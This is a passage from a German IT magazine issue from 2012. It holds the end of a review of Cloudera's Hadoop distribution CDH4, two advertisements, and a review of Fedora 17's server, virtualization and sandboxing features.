von Map-Reduce-Anwendungen in Java.<br />

Neu hinzugekommen ist die alternative<br />

MRv2-Implementierung eines Map-Reduce-Frameworks,<br />

die speziell für sehr<br />

große Cluster-Installationen von Hadoop<br />

(mehr als 4000 Rechner-Knoten) entwickelt<br />

wurde. Dieses von Yahoo 2010 entwickelte<br />

Framework, das dort unter dem<br />

Namen YARN (Yet Another Resource Negotiator)<br />

firmiert, ermöglicht es, die Last<br />

der Jobtracker-Daemons zu reduzieren.<br />

In der MRv1-Welt erfüllt der Jobtracker-<br />

Daemon von Hadoop zwei Aufgaben:<br />

Abbildung 1: Das neue Hadoop User Environment (Hue) im Browser.<br />

www.admin-magazin.de<br />

1. Er kümmert sich um die Planung der<br />

einzelnen Jobs und deren Verteilung auf<br />

die Tasktracker<br />

2. Er kümmerte sich um den Ablauf der<br />

einzelnen Tasks.<br />

Das YARN-System trennt diese beiden<br />

Aufgaben und verteilt sie auf zwei neue<br />

Daemons. Dabei kümmert sich der<br />

Resource Manager um die Verteilung der<br />

(Job-) Resourcen über das Cluster hinweg.<br />

Der Application Master kümmert sich um<br />

die Ausführung der Map-Reduce-Anwendung.<br />

Im Gegensatz zu einem globalen<br />

Jobtracker, der sich um das Wohl aller<br />

Map-Reduce-Anwendungen gleichermaßen<br />

kümmert, ist der Application Master<br />

nur für eine Map-Reduce-Anwendung<br />

zuständig. Der Application Master muss<br />

die benötigten Anwendungs-Resourcen<br />

vom Resourcen-Manager zugeteilt bekommen.<br />

Dieser etwas andere Ansatz<br />

bei der Verteilung von Speicher und CPU<br />

im Cluster orientiert sich stärker an dem<br />

ursprünglichen Ansatz aus Googles Map-<br />

Reduce-Konzept [2].<br />

Neuigkeiten im Ökosystem<br />

Den noch bis vor Kurzem herrschenden<br />

Konkurrenzkampf zwischen den Protocol<br />

Buffers von Google [3], dem Thrift-<br />

System [4] und Avro hat CDH4 zugunsten<br />

des Avro-Formats entschieden. Kein<br />

Wunder, ist Doug Cutting, der Erfinder<br />

von Hadoop, gleichzeitig auch Erfinder<br />

von Avro und bei Cloudera unter Vertrag.<br />

Avro ist für den Austausch großer,<br />

strukturierter Datenbestände, als Transportformat<br />

konzipiert worden. Definiert<br />

werden Avro-Schema mithilfe von JSON.<br />

Innerhalb der<br />

CDH4 können alle<br />

Anwendungen mit<br />

Avro im Datenimport<br />

und ‐Export<br />

umgehen.<br />

Daten werden innerhalb<br />

eines Hadoop-Ökosystems<br />

in der Regel importiert,<br />

verarbeitet<br />

und in andere<br />

Systeme exportiert.<br />

Als universeller<br />

„Streamer“ nutzt<br />

Clouderas Distribution<br />

das Apache<br />

Online-Training<br />

IT-Sicherheit<br />

Grundlagen<br />

mit Tobias Eggendorfer<br />

Themen:<br />

❚ physikalische Sicherheit<br />

❚ logische Sicherheit<br />

• Betriebssystem<br />

• Netzwerk<br />

❚ Sicherheitskonzepte<br />

❚ Sicherheitsprüfung<br />

@Kirsty Pargeter, 123RF<br />

20%<br />

Treue-Rabatt für<br />

Abonnenten<br />

Deckt in Teilbereichen auch das<br />

Prüfungswissen für LPIC-303-<br />

Inhalte ab.<br />

Inklusive Benutzer- und Rechteverwaltung,<br />

Authentifizierung,<br />

ACLs sowie wichtige Netzwerkprotokolle<br />

und mehr!<br />

Das Grundlagentraining für IT-<br />

Sicherheit richtet sich an Systemadministratoren<br />

und solche, die<br />

es werden wollen ebenso wie an<br />

ambitionierte Heimanwender.<br />

Nur 299 Euro inkl. 19 % MwSt.<br />

Informationen und Anmeldung unter:<br />

academy.linux-magazin.de/sicherheit<br />

Ausgabe 04-2012 103


Test<br />

Cloudera<br />

Abbildung 2: Mit der Hue-Browser-GUI lassen sich zum Beispiel neue Jobs auf<br />

dem Cluster anlegen.<br />

Flume System [5] in der Version 1.1.0.<br />

Flume implementiert dabei das Konzept<br />

der Datenquelle- und Senke. Quellen<br />

können zum Beispiel Log-Dateien-Ströme<br />

oder Daten im Avro-Format sein, Senken<br />

lassen sich mit HDFS oder einer HBase-<br />

Datenbank realisieren.<br />

Apache HBase, die spaltenorientierte<br />

Datenbank für Hadoop, wurde mit der<br />

Version 0.92.1 in CDH4 integriert. Neu<br />

in dieser Version sind Logging-Mechanismen,<br />

um langsame Abfragen (HiveQL)<br />

zu identifizieren, Tools für die Reparatur<br />

korrupter Daten, Nutzer-Authentifizierung<br />

und besseres Monitoring über Javas<br />

Management Extensions (JMX).<br />

Daten im Warenhaus<br />

Die Data-Warehouse-Anwendung Hive<br />

wurde in der Version 0.8.1 mit in die<br />

Distribution gepackt. Sie enthält nun<br />

endliche Zeitstempel und BLOBs als<br />

generische Datentypen, Bitmap-Indexes<br />

und Group-by-Optimierungen, um nur<br />

die wichtigsten Neuerungen zu nennen.<br />

In einem aktuellen Release lässt sich<br />

auch Apache Pig mit der Clouder-Distribution<br />

installieren. Die Version 0.92.1<br />

hinkt nur eine Versionsnummer hinter<br />

der aktuellen Apache-Version 0.10.0 her<br />

und enthält eine Reihe Verbesserungen<br />

<strong>gegen</strong>über der letzten Version. So wurde<br />

die Interoperabilität zwischen Pig, Avro<br />

und HBase genauso verbessert wie die<br />

Loader- und Store-Funktionalität für die<br />

Verarbeitung von CSV-Dateien. Nützlich<br />

für größere Projekte, die mit Pig realisiert<br />

werden sollen, ist das Penny-Framework<br />

[6], das sich für<br />

die Überwachung<br />

der Ausführung<br />

innerhalb eines<br />

Pig-Latin-Skripts<br />

eignet.<br />

Zum Datenaustausch<br />

mit relationalen<br />

Datenbanksystemen<br />

(RDBMS)<br />

bringt Cloudera<br />

Sqoop in der Version<br />

1.4.1 mit, das<br />

als Kommandozeilenwerkzeug<br />

Daten von und zu<br />

unterschiedlichen<br />

Systemen transferieren<br />

kann. Auf der Datenbank-Seite<br />

nutzt es dabei die von Java bekannte<br />

und leistungsfähige JDBC-Schnittstelle.<br />

Im aktuellen Release unterstützt es jetzt<br />

auch das Avro-Format. Damit lassen sich<br />

Datebank-Schemata in Avro-Schemata<br />

konvertieren und sogar komprimierte<br />

Avro-Datenströme verarbeiten.<br />

Etwas einfacher in der Handhabung ist<br />

das neue Hue (Hadoop User Environment,<br />

Abbildung 1) geworden, das ein<br />

Webbrowser-Frontend für die Nutzung<br />

von Hadoop bietet. Im Kern bietet das<br />

Tool einen (HDFS-)Dateibrowser, einen<br />

Job-Wizard zum einfachen Deployment<br />

von Map-Reduce-Anwendungen (Abbildung<br />

2) und mit Beeswax eine einfache<br />

Oberfläche, um CSV- und Excel-Dateien<br />

innerhalb von Hive nutzen zu können.<br />

Die Version 2.0 wurde vollständig neu<br />

und mithilfe von JQuery implementiert.<br />

Das ziemlich unschöne Namenode- Plugin<br />

für den Zugriff auf das HDFS wurde<br />

durch eine saubere WebHDFS/​HttpFS-<br />

Implementierung ersetzt. Hue nutzt jetzt,<br />

wenn vorhanden, ein bestehendes LDAP-<br />

System, sodass die Nutzer-Authentifizierung<br />

zum Beispiel über OpenLDAP und<br />

Active Directory realisiert werden kann.<br />

Map-Reduce-Anwendungen werden nun<br />

über das Oozie-Workflow-Managementtool<br />

verarbeitet.<br />

Inklusive Amazon<br />

Apache Oozie ist mit Version 3.1.3 Teil<br />

der Cloudera-Distribution. Als wichtigste<br />

Neuerung ist hier die Verarbeitung<br />

von Hadoops neuen MRv2-Framework<br />

hinzugekommen. MRv2-MapReduce-<br />

Anwendungen lassen sich nun auch mithilfe<br />

von Apache Whirr in der Cloud betreiben,<br />

dank eines Updates auf Release<br />

0.7.1. So lassen sich zum Beispiel mehrere<br />

Amazon-EC2-Instanzen mit wenigen<br />

Kommandozeilenaufrufen starten und fit<br />

für die Nutzung mit Hadoop machen.<br />

Zu guter Letzt hat auch noch Apache<br />

Mahout, die Bibliothek für Algorithmen<br />

aus dem Bereich des Maschinellen Lernens,<br />

Eingang in Clouderas Distribution<br />

gefunden. In Version 0.6 sind einige neue<br />

Algorithmen für das Clustering und die<br />

Bayes Klassifikation dazugekommen.<br />

Fazit<br />

Ein komplexes Ökosystem, wie Hadoop<br />

und die hier aufgeführten Werkzeuge es<br />

bieten, möchte man nicht von Hand auf<br />

mögliche Inkompatibilitäten dieser oder<br />

jener Klassen-Bibliothek und Version<br />

untersuchen und installieren. Clouderas<br />

Nutzen liegt ganz klar in der einfachen<br />

Handhabung der ausgewählten Komponenten,<br />

die so aufeinander abgestimmt,<br />

im täglichen Beratungsalltag von Cloudera<br />

und bei eigenen Hadoop-Projekten<br />

unumgänglich sind. Man darf gespannt<br />

sein, ob andere Hadoop-Distributionen<br />

dem Platzhirsch Cloudera in absehbarer<br />

Zeit das Wasser reichen können. (ofr) n<br />

Infos<br />

[1] Cloudera CDH 4:<br />

[http:// www. cloudera. com/ cdh4/]<br />

[2] Map/​Reduce: [http:// research. google. com/​<br />

archive/ mapreduce‐osdi04. pdf]<br />

[3] Google Protocol Buffers: [http:// code.​<br />

google. com/ p/ protobuf/]<br />

[4] Apache Thrift: [http:// thrift. apache. org/]<br />

[5] FLUME: [https:// cwiki. apache. org/ FLUME/]<br />

[6] Penny: [https:// cwiki. apache. org/​<br />

confluence/ display/ PIG/ Penny]<br />

Der Autor<br />

Ramon Wartala ist Diplom-Informatiker und arbeitet<br />

als Director Technology für die Online-Marketing-Agentur<br />

Performance Media Deutschland<br />

GmbH. Neben den klassischen Datenbank-Anwendungen<br />

beschäftigen ihn vor allem auch solche,<br />

die mithilfe des Hadoop-Frameworks realisiert<br />

werden. Im Frühjahr diesen Jahres hat er das<br />

erste deutschsprachige Hadoop-Buch bei Open<br />

Source Press veröffentlicht.<br />

104 Ausgabe 04-2012 Admin www.admin-magazin.de


Probelesen<br />

ohne risiko<br />

Und Gewinnen!<br />

eines von sieben „SECU4Bags“<br />

elektronisches Sicherheitssystem für Handys,<br />

Tablets und Laptops mit Bluetooth<br />

20g leicht, bis zu 100 Stunden Akkulaufzeit<br />

Alarm bis zu 100dB, Schutzdistanz 5 bis 30m<br />

gesponsert von<br />

SONDERAKTION!<br />

Testen Sie jetzt<br />

3 Ausgaben für<br />

NUR 3€*<br />

Telefon: 07131 /2707 274<br />

Fax: 07131 / 2707 78 601<br />

E-Mail: abo@linux-user.de<br />

Mit großem Gewinnspiel unter:<br />

www.linux-user.de/probeabo<br />

* Angebot gilt innerhalb Deutschlands und Österreichs. In der Schweiz: SFr 4,50.<br />

Weitere Preise: www.linux-user.de/produkte


Test<br />

Fedora 17<br />

© James Weston , 123RF<br />

Fedora 17 bringt Ovirt-Management-Framework für Virtualisierungs-Stack<br />

An vorderster Front<br />

Fedora 17 bringt aus technologischer Sicht alles mit, was im Open-Source-Bereich im Sektor Cloud, <strong>Server</strong> oder<br />

Development künftig von Bedeutung sein wird. Damit eröffnet es einen einfachen Weg, mit den neuesten Entwicklungen<br />

der Red-Hat-Entwickler, wie KVM, Open Stack und Ovirt, zu experimentieren. Thomas Drilling<br />

Fedora ist gemäß der eigenen Philosophie<br />

eine Distribution mit zum Erscheinungszeitpunkt<br />

möglichst aktueller<br />

Softwareausstattung. Zwar dient Fedora<br />

unter anderem den Red-Hat-Entwicklern<br />

als Experimentierplattform für neue<br />

Technologien wie KVM oder Open Stack,<br />

ist aber aufgrund der Aktualität auch für<br />

Anwender interessant. Allerdings besteht<br />

Fedora definitionsgemäß ausschließlich<br />

aus freier Software. Linux-Anwender<br />

sollten daher über die zum Aufbohren<br />

des Systems mit proprietären Tools und<br />

Treibern erforderlichen Basis-Kenntnisse<br />

verfügen.<br />

Fundamentales<br />

Fedora 17 steht als installierbare Live-<br />

CD für Gnome sowie in Form von bei<br />

Fedora „Spins“ genannten Varianten für<br />

KDE- oder LXDE samt einer vollständigen<br />

Liste der enthaltenen Neuerungen<br />

auf der Projektseite [1] zum Download<br />

zur Verfügung. Eine kurze Zusammenfassung<br />

der Neuerungen von Fedora 17 aus<br />

Anwendersicht erläutert nebenstehender<br />

Kasten. Fedora 17 beruht auf einem Kernel<br />

3.3.4-5, samt der damit einhergehenden<br />

verbesserten Unterstützung für die<br />

Dateisysteme Btrfs und Ext4 und enthält<br />

jetzt „firewalled“ als Standard-Firewall-<br />

Lösung.<br />

Als Standard-Compiler kommt erstmals<br />

die GNU Compiler Collection (GCC) 4.7<br />

zum Einsatz. Das heißt die Fedora-Entwickler<br />

haben fast alle Pakete neu übersetzt.<br />

Als weitere Programmiersprachen<br />

stehen Ruby 1.9.3, PHP 5.4, Erlang R15<br />

und eine komplette „D“-Entwicklungsumgebung<br />

zur Verfügung. Außerdem<br />

haben die Entwickler die Haskell-Plattform<br />

aktualisiert. Ebenfalls an Bord: eine<br />

Vorabversion von „Juno“, dem für Mitte<br />

Juni angekündigten Eclipse-Nachfolger,<br />

der bei Erscheinen dieses Heftes aller<br />

Wahrscheinlichkeit nach bereits über<br />

das Paketmanagement aktualisiert sein<br />

wird. Als Java-Umgebung ist standardmäßig<br />

Java 7 (OpenJDK7) im Lieferumfang<br />

enthalten. Fedora 17 ist außerdem<br />

die weltweit erste Distribution mit der<br />

Version 9.96 von SugarCRM mit GTK+3-<br />

Unterstützung und enthält Red Hats Java-<br />

Applikationsserver JBoss 7 als schlanke<br />

Alternative zu Apache Tomcat sowie die<br />

„Distributed Interactive Engineering Toolbox“<br />

(DIET) [2].<br />

Entrümpelt<br />

Ein Novum bei Fedora 17 ist, dass die<br />

Entwickler die Verzeichnisse »/lib/«, »/<br />

lib64/«, »/bin/« und »/sbin/« abgeschafft<br />

haben; eine Entscheidung, die schon bei<br />

diversen Vorabversionen für reichlich<br />

Diskussionen gesorgt hatte. Die Fedora-<br />

Entwickler verschieben die genannten<br />

Verzeichnisse als Unterverzeichnisse<br />

106 Ausgabe 04-2012 Admin www.admin-magazin.de


Fedora 17<br />

Test<br />

nach »/usr«, wobei symbolische Links an<br />

den Ursprungspositionen dafür sorgen,<br />

dass die Abwärtskompatibilität erhalten<br />

bleibt und der Nutzer von der Änderung<br />

nichts bemerkt (Abbildung 1).<br />

Die Fedora-Entwickler erläutern die<br />

Gründe für diese tiefgreifende Maßnahme<br />

unter „UsrMove-Feature“ im Fedora-Wiki<br />

[3]. Einer der wesentlichen<br />

Gründe besteht darin, dass es ein derartiger<br />

Umbau der Verzeichnisstruktur<br />

zum Beispiel bei einem Update einfacher<br />

mache, einen kompletten Snapshot des<br />

Systems anzulegen, weil dann sämtliche<br />

System-Binaries im Verzeichnis »/usr« zu<br />

finden sind, das sich dann wiederum relativ<br />

einfach in ein eigenes Dateisystem<br />

auslagern oder schreibgeschützt über das<br />

Netz einbinden sowie von mehreren Systemen<br />

gleichzeitig nutzen lässt.<br />

Dass andere Distributions-Hersteller diesem<br />

Beispiel bisher nicht folgen, zeigt<br />

aber auch, dass nicht jeder dem Thema<br />

epochale Bedeutung zumisst. Problematisch<br />

ist die Änderung auf jeden Fall für<br />

Fedora-Nutzer, die Version 17 nicht vom<br />

ISO installieren, sondern ein System-Upgrade<br />

via Yum von Fedora 16 ausführen<br />

möchten. Als Lösung bietet sich dann<br />

nur ein nicht offiziell unterstützter Workaround<br />

an [4], der allerdings nur für<br />

versierte Fedora-Nutzer infrage kommt,<br />

die mit etwaigen Abhängigkeitsproblemen<br />

umzugehen wissen.<br />

Admin View<br />

Fedora richtet sich als Technologie-Trendsetter<br />

auch an experimentierfreudige Administratoren<br />

und bringt zu diesem Zweck<br />

eine Reihe interessanter neuer Enterprise-<br />

Funktionen mit. So enthält beispielsweise<br />

der Cluster-Stack jetzt unter anderem<br />

Corosync 2.0 und die Version1.1.8 des<br />

Cluster-Resource-Managers „Pacemaker“<br />

und hat darüber hinaus eine Reihe von<br />

Aktualisierungen für Hochverfügbarkeitsund<br />

Load-Balancing-Applikationen erfahren.<br />

Vorbildlich ausgestattet ist Fedora 17<br />

auch im Bereich Cloud-Technologien und<br />

bringt wie Ubuntu 12.0 neben der IaaS-<br />

Cloud-Lösung OpenNebula zum Einrichten<br />

privater, öffentlicher oder hybrider<br />

Clouds auch sämtliche Komponenten des<br />

aktuellen Major Release 2012.1 (Essex)<br />

von OpenStack mit.<br />

Das in Python entwickelte Open-Stack-<br />

Framework stellt genau wie Open Nebula<br />

eine komplett freie Architektur für Cloud<br />

Computing zur Verfügung. Zu dessen<br />

Administration steht das Webinterface<br />

„Horizon“ zur Verfügung, und das Modul<br />

„Quantum“ implementiert Virtual<br />

Networking Services.<br />

Das Fedora-17-ISO basiert auf einem Kernel<br />

3.3.4, allerdings spielte die Aktualisierungsverwaltung<br />

zum Zeitpunkt des<br />

Tests nur wenige Tage nach Veröffentlichung<br />

ein Kernel-Update auf die Version<br />

3.3.7 ein.<br />

Die den Kernel 3.3.4 betreffenden Neuerungen<br />

dürften Admins ohnehin weitgehend<br />

bekannt sein, weil die meisten<br />

schon in Fedora 16 enthalten waren. Allerdings<br />

haben die Red-Hat-Entwickler<br />

einige der offiziell erst im Kernel 3.4<br />

enthaltenen Funktion bereits in den Fedora-Kernel<br />

einfließen lassen, wie etwa<br />

die Stromspartechnik RC6 oder den im<br />

Verlauf des Beitrages vorgestellten Virtio-<br />

SCSI-Treiber für KVM. Ferner enthält das<br />

von den Fedora-Entwicklern schon seit<br />

der Version 15 verwendete Init-System<br />

Systemd jetzt einen Login-Manager<br />

»systemd‐logind«. Dieser soll eine Reihe<br />

von Aufgaben im Umfeld des Benutzermanagements<br />

übernehmen und ersetzt<br />

unter anderem Consolekit.<br />

Datenträger und<br />

Dateisysteme<br />

Für Fedora-Kenner erwähnenswert ist<br />

zudem die Tatsache, dass auch die neue<br />

Fedora-Version Btrfs nicht als Standard-<br />

Dateisystem verwendet. Etwaige Planungen,<br />

Btrfs zum Standard zu machen,<br />

scheinen bis Fedora 18 auf Eis zu liegen,<br />

obwohl Fedora 17 immerhin bereits<br />

(noch) nicht offiziell freigegebene Tools<br />

zum Prüfen und Reparieren von Btrfs-<br />

Laufwerken beilegt (Abbildung 2).<br />

Dafür soll Ext4 bei Fedora 17 auch<br />

mit Datenträgern größer 16 TByte zurechtkommen.<br />

Übrigens hängt Fedora<br />

17 Wechseldatenträger nicht mehr wie<br />

bei den meisten Distributionen üblich<br />

unter »/media«, sondern unter »/run/<br />

media/$USER« ein.<br />

Virtio-SCSI<br />

Selbstverständlich haben die Red-Hat-<br />

Entwickler die Gelegenheit genutzt, auch<br />

KVM selbst in vielen Bereichen zu überarbeiten<br />

und die offiziell nur im aktuellen<br />

Kernel 3.4 enthaltenen Neuerungen am<br />

KVM-Code auch im Fedora-Kernel verfügbar<br />

gemacht. So enthält KVM jetzt<br />

eine virtualisierte PMU (Performance Monitoring<br />

Unit) für Gäste sowie eine Live-<br />

Block-Kopierfunktion, mit deren Hilfe<br />

sich Speichermedien von Gastsystemen<br />

Abbildung 1: Fedora 17 verschiebt Systemverzeichnisse an eine andere Position,<br />

sorgt aber mit symbolischen Links für Abwärtskompatibilität.<br />

Abbildung 2: Das Experimentieren mit Btrfs ist zwar möglich, Default-<br />

Dateisystem ist es aber noch immer nicht.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

107


Test<br />

Fedora 17<br />

kopieren lassen, während diese online<br />

sind. Installiert der Admin beispielsweise<br />

das Paket »Guest filesystem browser« und<br />

»System administration tools for virtual<br />

machines«, kann er mit einer grafischen<br />

GUI das Gast-Filesystem über den entsprechenden<br />

KVM-Treiber inspizieren<br />

(Abbildung 3). Zum weiteren Experimentieren<br />

mit KVM muss der Admin außerdem<br />

das Paket »QEMU metapackages<br />

for KVM support« installieren.<br />

PCI-2.3-Geräte kann das neue Fedora<br />

an Gäste durchreichen. Diese teilen sich<br />

dann auf dem Host eine Interrupt-Leitung<br />

mit anderen PCI-Geräten. Die in Fedora<br />

17 enthaltene KVM-Version enthält außerdem<br />

das ebenfalls offiziell nur im<br />

Kernel 3.4 vorhandene Virtio-SCSI, ein<br />

neuer SCSI-Storage-Stack für KVM-Gastsysteme.<br />

Der neue Storage-Treiber für das<br />

SCSI-Subsystem regelt zusammen mit der<br />

gleichlautenden Qemu-Unterstützung den<br />

Datenverkehr zwischen Gast und Host<br />

<strong>gegen</strong>über dem bisherigen „virtio-blk“-<br />

Treiber mit weniger Overhead, skaliert<br />

besser und ist einfacher zu handhaben.<br />

Andere Distributionen werden KVM-Virtio-SCSI<br />

erst mit Integration des Kernel<br />

3.4 anbieten können.<br />

Virtsandbox<br />

Fedora 17 bringt als eine der ersten Distributionen<br />

die von Red Hat entwickelte<br />

Bibliothek Libvirt-Sandbox [5] mit, die<br />

Daniel Berrange im Februar dieses Jahres<br />

auf der FOSDEM in Brüssel vorgestellt<br />

hat. Sie erlaubt das Einsperren einzelner<br />

Applikationen mithilfe von KVM oder<br />

wahlweise auch mit LXC in eine abgesicherte<br />

Sandbox. Der Clou dabei ist, dass<br />

Abbildung 3: Fedora ist im Virtualisierungsbereich bestens ausgestattet, wenn auch keines der Pakete per<br />

Default installiert ist.<br />

das explizite Einrichten des Betriebssystems<br />

in der VM nicht notwendig und der<br />

Overhead damit sehr klein ist.<br />

In der Variante auf Basis von KVM startet<br />

Virtsandbox den Kernel samt Initramfs in<br />

einer VM, die ihrerseits nach dem Booten<br />

die eigentliche Anwendung aufruft. Da<br />

der Kernel der VM mithilfe des Qemu-<br />

Features Plan9fs (Plan 9 File System, [6])<br />

Teile des Host-Dateisystems lesen kann,<br />

entfällt die Betriebssystem-Installation in<br />

der VM, sodass der zeitliche Aufwand<br />

beim Starten einer mithilfe der Libvirt-<br />

Sandbox eingesperrten Anwendung laut<br />

Daniel Berrange kaum ins Gewicht fällt.<br />

Laut Red Hats Messungen verzögert sich<br />

der Start einer Anwendung in der geschützten<br />

Virtsandbox um maximal 3 Sekunden<br />

<strong>gegen</strong>über dem nativen Start. Bei<br />

der Virtsandbox-Methode soll laut Red<br />

Hat der Zugriff auf die CPU weitgehend<br />

ohne Performance-Einbußen erfolgen,<br />

während der Zugriff auf Geräte nur mit<br />

knapp 90 Prozent der Geschwindigkeit<br />

(<strong>gegen</strong>über dem nativen Ausführen der<br />

gleichen Anwendung) erfolgt.<br />

Das Einrichten der Sandbox erfolgt über<br />

das CLI-Tool »virt‐sandbox«, mit dessen<br />

Hilfe der Admin beispielsweise festlegt,<br />

ob oder welche Netzwerk-Ressourcen in<br />

Neuerungen Fedora 17 aus Anwendersicht<br />

Zwar ist Fedora vor allem für Admins interessant,<br />

ist aber dennoch neben Ubuntu und Suse<br />

eine beliebte Desktop-Distribution, die beispielsweise<br />

als eine der ersten Distributionen Gnome<br />

3.4.1 als Standard-Desktop mitbringt.<br />

Gnome 3.4.1 enthält unter anderem die Applikation<br />

Gnome-Boxes, die Nutzern einen einfachen<br />

Zugriff auf virtuelle Maschinen ermöglicht.<br />

Ferner haben die Entwickler die Zusammenarbeit<br />

mit der Gnome-Extension-Site verbessert,<br />

sodass der Anwender in den Genuss von zur<br />

Zeit knapp hundert Erweiterungen gelangt, mit<br />

deren Hilfe sich das Verhalten der Gnome Shell<br />

in weiteren Bereichen den eigenen Wünschen<br />

anpassen lässt.<br />

Übrigens funktioniert die Gnome Shell bei Fedora<br />

17 mithilfe des Mesa-3D-Treibers Llvmpipe<br />

[9] auch ohne 3D-Beschleunigung, indem der<br />

Treiber die erforderlichen 3D-Berechnungen<br />

vom Hauptprozessor ausführen lässt. Aktuelle<br />

Desktop-Prozessoren sollten dafür allerdings<br />

genügend Leistungsreserven mitbringen. Das<br />

Software Rendering durch Llvmpipe sollte sogar<br />

in Virtualisierungsumgebungen ein flüssiges<br />

Arbeiten ermöglichen.<br />

Wer Fedora trotzdem lieber mit KDE-Desktop<br />

einsetzen möchte, kann entweder gleich zum<br />

KDE-Spin greifen oder die benötigten KDE-Pakete<br />

nachinstallieren, die bei Fedora 17 durchweg<br />

auf der KDE SC 4.8.3 basieren, was allerdings<br />

keine Neuerung <strong>gegen</strong>über dem letzten Update<br />

für Fedora 16 darstellt. KDE-Desktop-Effekte<br />

funktionieren ohne passende 3D-Treiber nicht,<br />

sollen aber in einer der kommenden Versionen<br />

ebenfalls mithilfe von Llvmpipe möglich sein.<br />

Wahlweise kann der Fedora-Nutzer auch den<br />

ballastärmeren Xfce-Desktop in der Version<br />

4.08 nutzen.<br />

Die neueste Xfce-Version 4.10 vom April diesen<br />

Jahres steht da<strong>gegen</strong> nur in Form eines inoffiziellen<br />

Repositorys [10] zur Verfügung. Außerdem<br />

liegen LibreOffice in der Version 3.5.2.1<br />

und Gimp in der neuen Version 2.8 bei. Letzteres<br />

bringt unter anderem den von den Fans lang<br />

ersehnten Ein-Fenster-Modus mit.<br />

108 Ausgabe 04-2012 Admin www.admin-magazin.de


Fedora 17<br />

Test<br />

Ovirt eignet sich nicht nur für den Zugriff<br />

auf RHEV-Plattformen, sondern eignet<br />

sich zur Verwaltung aller Virtualisierungslösungen,<br />

die auf KVM basieren.<br />

Dazu muss auf virtuellen Desktops und<br />

<strong>Server</strong>n, die via Ovirt administrierbar<br />

sein sollen, ebenso wie auf dem Hypervisor<br />

zusätzlich zur Libvirt die Ovirt-<br />

Komponente VDSM installiert sein.<br />

Abbildung 4: Neu in Fedora 17: oVirt, das Management-Tool für auf KVM basierende Virtualisierungsumgebungen.<br />

der Sandbox zur Verfügung stehen, nachdem<br />

er »libvirt‐sandbox« via »yum install<br />

libvirt‐sandbox« installiert hat.<br />

Virtuelle Sandbox sperrt<br />

Anwendungen ein<br />

Die Einsatzmöglichkeiten für Libvirtsandbox<br />

sind zahlreich. Daniel Berrange<br />

führte in seinem Vortrag beispielsweise<br />

die Möglichkeit an, <strong>Server</strong>-Anwendungen<br />

wie Apache rein virtuell zu hosten oder<br />

RPM-Pakete in einer isolierten Umgebung<br />

zu bauen. Auch auf Anwenderseite<br />

sind Einsatzszenarien vorstellbar, etwa<br />

das Verarbeiten nicht vertrauenswürdiger<br />

Multimedia-Streams oder das Einsperren<br />

des gesamten Web-Browsers in<br />

den virtuellen Sandkasten. Das brächte<br />

etwa beim Online-Banking den Vorteil,<br />

dass der Rechner während der Dauer der<br />

Banking-Session von übrigen Internet-<br />

Aktivitäten isoliert bliebe.<br />

Bildschirmausgaben aus der VM an das<br />

Host-System lassen sich außer mit VNC<br />

bei Fedora auch via „Spice“ erledigen, das<br />

seit dem Kauf von Qumranet durch Red<br />

Hat im Jahr 2008 auch in Fedora verfügbar<br />

ist. Die Libvirt-Sandbox ist laut Daniel<br />

Berrange flexibler einsetzbar als die<br />

bereits seit dem Jahr 2009 in RHEL und<br />

Fedora verfügbare SELinux-Sandbox.<br />

Apropos SELinux: Dies ist in der in<br />

Fedora 17 enthaltenen Version in der<br />

Lage, Prozessen zu verbieten, mithilfe<br />

des Funk tionsaufrufes »ptrace« (Process<br />

Trace) den Speicher anderer Prozesse<br />

zu analysieren, ähnlich wie beim im aktuellen<br />

Kernel 3.4 enthaltenen Security<br />

Modul Yama. Allerdings muss der Admin<br />

das Feature mit »setsebool ‐P deny_ptrace<br />

1« explizit einschalten. Weitere Einzelheiten<br />

zu Virtsandbox finden sich im<br />

Fedora-Wiki [8]. Ferner unterstützt Virt-<br />

Manager in Fedora 17 auch das Durchreichen<br />

von USB-Geräten.<br />

Fedora 17 enthält als erste freie Distribution<br />

das Virtualisierungs-Managementsystem<br />

Ovirt in Version 3.0.0, das<br />

nun nicht mehr als Vorabversion gilt<br />

[7]. Eine aktuellere Version findet sich<br />

auch auf der Ovirt-Projektseite [8] nicht,<br />

und schneller als mit Fedora 17 lässt<br />

sich die Lösung kaum testen. Mit Ovirt<br />

hat Red Hat seit einiger Zeit eine Javabasierte<br />

Verwaltungsoberfläche für seine<br />

Enterprise Virtualisierung in Arbeit, die<br />

insbesondere beim eigenen RHEV das<br />

bisher fehlende Puzzleteil darstellt, um<br />

Red Hats Virtualisierung-Stack ohne Hilfe<br />

einer Windows-Maschine administrieren<br />

zu können.<br />

VM-Management jetzt ohne<br />

Windows<br />

Was absurd kling, hat einen konkreten<br />

Hintergrund, denn Red Hat hat im Jahr<br />

2008 nicht nur den vom israelischen<br />

KVM-Spezialisten Qumranet entwickelten<br />

KVM-Hypervisor übernommen, sondern<br />

in der Hoffnung, sich mit einer eigenen<br />

Technologie <strong>gegen</strong> die etablierten Virtualisierungsanbieter<br />

VMware und Citrix<br />

positionieren zu können, auch gleich<br />

die ganze Firma samt ihres bereits fast<br />

fertig entwickelten Desktop-Virtualisierungs-Produktes<br />

gekauft. Dummerweise<br />

enthielt das Qumranet-Produkt auch einige<br />

lästige Abhängigkeiten von .NET<br />

und Active Directory, die Linux-Admins<br />

bisher ein Dorn im Auge waren.<br />

Erst mit der Ende 2011 veröffentlichten<br />

Version 3.0 von RHEV hatten es<br />

die Red- Hat-Entwickler geschafft, das<br />

Management-Tool von C# auf Java zu<br />

portieren, sodass die Software jetzt mit<br />

einem JBoss als Applikationsserver läuft.<br />

Fazit<br />

Wie üblich zündet Fedora 17 ein Feuerwerk<br />

neuer Funktionen und integriert aktuellste<br />

Entwicklungen der Open-Source-<br />

Welt. Während einiges davon, wie die<br />

Gnome-3.4.1-Integration, vorrangig für<br />

Anwender von Bedeutung und anderes,<br />

wie die Umstrukturierung zentraler Verzeichnisse,<br />

auch umstritten ist, bietet<br />

Fedora vor allem Administratoren eine<br />

einfache Möglichkeit, mit den neuesten<br />

Technologien der Red-Hat-Entwickler zu<br />

experimentieren. Red Hat ist einer der<br />

wenigen Enterprise-Linux-Hersteller von<br />

wirtschaftlich und technologisch herausragendem<br />

Stellenwert und positioniert<br />

sich mit seinen Cloud- und Virtualisierungstechnologien<br />

als dritte Kraft neben<br />

VMware und Citrix. Die Community-<br />

Distribution Fedora 17 ermöglicht einen<br />

schnellen Blick auf Red Hats Management-Framework<br />

Ovirt oder die neuesten<br />

KVM-Erweiterungen. (ofr)<br />

n<br />

Infos<br />

